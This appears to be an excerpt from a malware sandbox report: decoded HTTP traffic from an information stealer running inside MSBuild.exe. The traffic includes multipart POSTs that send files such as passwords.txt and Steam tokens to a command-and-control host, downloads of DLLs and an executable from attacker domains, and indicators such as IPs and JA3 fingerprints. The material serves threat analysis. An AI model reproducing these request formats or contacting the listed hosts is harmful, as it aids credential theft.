70 46 61 48 56 48 63 31 46 6b 63 57 35 70 4d 32 39 55 53 6d 63 77 59 6e 4a 78 64 6a 46 6b 61 6d 52 70 54 45 70 35 64 6c 52 54 56 57 68 6b 53 79 31 6a 4e 55 70 58 59 57 52 44 55 33 4e 56 54 46 42 4d 65 6d 68 54 65 43 31 47 4c 54 5a 33 54 32 63 30 43 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 43 42 41 4b 4b 46 42 47 43 42 46 48 4a 44 47 2d 2d 0d 0a Data Ascii: ------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------DBKKFCBAKKFBGCBFHJDGContent-Disposition: form-data; name="file_name"
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----GCGDHJDAFHJEBFIDAFHIHost: lade.petperfectcare.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 47 43 47 44 48 4a 44 41 46 48 4a 45 42 46 49 44 41 46 48 49 2d 2d 0d 0a Data Ascii: ------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------GCGDHJDAFHJEBFIDAFHIContent-Disposition: form-data; name="file_data"------GCGDHJDAFHJEBFIDAFHI--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----BKECFIIEHCFHIECAFBAKHost: lade.petperfectcare.comContent-Length: 437Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 47 46 7a 63 33 64 76 63 6d 52 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 45 43 46 49 49 45 48 43 46 48 49 45 43 41 46 42 41 4b 2d 2d 0d 0a Data Ascii: ------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="file_name"cGFzc3dvcmRzLnR4dA==------BKECFIIEHCFHIECAFBAKContent-Disposition: form-data; name="file_data"------BKECFIIEHCFHIECAFBAK--
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: lade.petperfectcare.comContent-Length: 1145Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="mode"3------CBFCFBFBFBKFIDHJKFCA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CBFCFBFBFBKFIDHJKFCAHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="mode"4------CBFCFBFBFBKFIDHJKFCA--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJEHost: lade.petperfectcare.comContent-Length: 461Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 64 61 74 61 22 0d 0a 0d 0a 63 47 38 76 65 67 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 2d 2d 0d 0a Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="file_data"cG8veg==------AECFCAAECBGDGDHIEHJE--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HJJKFBGCFHCGDHIDAAECHost: lade.petperfectcare.comContent-Length: 132305Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 2d 2d 0d 0a Data Ascii: ------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="mode"5------CFIIIJJKJKFHIDGDBAKJ--
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFCHost: lade.petperfectcare.comContent-Length: 499Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 61 73 6b 5f 69 64 22 0d 0a 0d 0a 31 32 38 34 30 37 38 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 73 74 61 74 75 73 22 0d 0a 0d 0a 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 2d 2d 0d 0a Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="mode"51------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="task_id"1284078------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="status"1------AEHIJDAFBKFHIDGCFBFC--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----HCGCAAKJDHJJJJJKKKFBHost: lade.petperfectcare.comContent-Length: 331Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 2d 2d 0d 0a Data Ascii: ------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="mode"6------HCGCAAKJDHJJJJJKKKFB--
Source: global traffic	HTTP traffic detected: POST / HTTP/1.1Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHDHost: cowod.hopto.orgContent-Length: 3217Connection: Keep-AliveCache-Control: no-cache

Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 188.114.97.3 188.114.97.3
Source: Joe Sandbox View	IP Address: 95.164.90.97 95.164.90.97

Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS
Source: Joe Sandbox View	ASN Name: VAKPoltavaUkraineUA VAKPoltavaUkraineUA
Source: Joe Sandbox View	ASN Name: LIFELINK-ASRU LIFELINK-ASRU

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.5:49961 -> 147.45.44.104:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: exemplarou.sbs
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedCookie: __cf_mw_byp=zoWxOVKEJ13YL7Im9WQtPxWZw4dAgOz9f7_1WE7U4I0-1728316862-0.0.1.1-/apiUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 42Host: exemplarou.sbs

Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 23.1.237.91
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Code function: 1_2_00406963 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,InternetSetOptionA,HttpSendRequestA,HttpQueryInfoA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

1_2_00406963

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /sql.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /freebl3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /mozglue.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /msvcp140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /softokn3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /vcruntime140.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /nss3.dll HTTP/1.1Host: lade.petperfectcare.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /ldms/a43486128347.exe HTTP/1.1Host: nsdm.cumpar-auto-orice-tip.roCache-Control: no-cache

Source: global traffic	DNS traffic detected: DNS query: lade.petperfectcare.com
Source: global traffic	DNS traffic detected: DNS query: nsdm.cumpar-auto-orice-tip.ro
Source: global traffic	DNS traffic detected: DNS query: exemplarou.sbs
Source: global traffic	DNS traffic detected: DNS query: cowod.hopto.org

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: exemplarou.sbs

Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: MSBuild.exe, 00000001.00000002.2738418314.000000001DCAD000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2741359967.0000000023C1C000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2753881079.000000003B9D0000.00000004.00000020.00020000.00000000.sdmp, MSBuild.exe, 00000001.00000002.2747547694.000000002FAF3000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.1.dr, mozglue.dll.1.dr, freebl3.dll.1.dr, mozglue[1].dll.1.dr, nss3[1].dll.1.dr, freebl3[1].dll.1.dr, softokn3[1].dll.1.dr, softokn3.dll.1.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
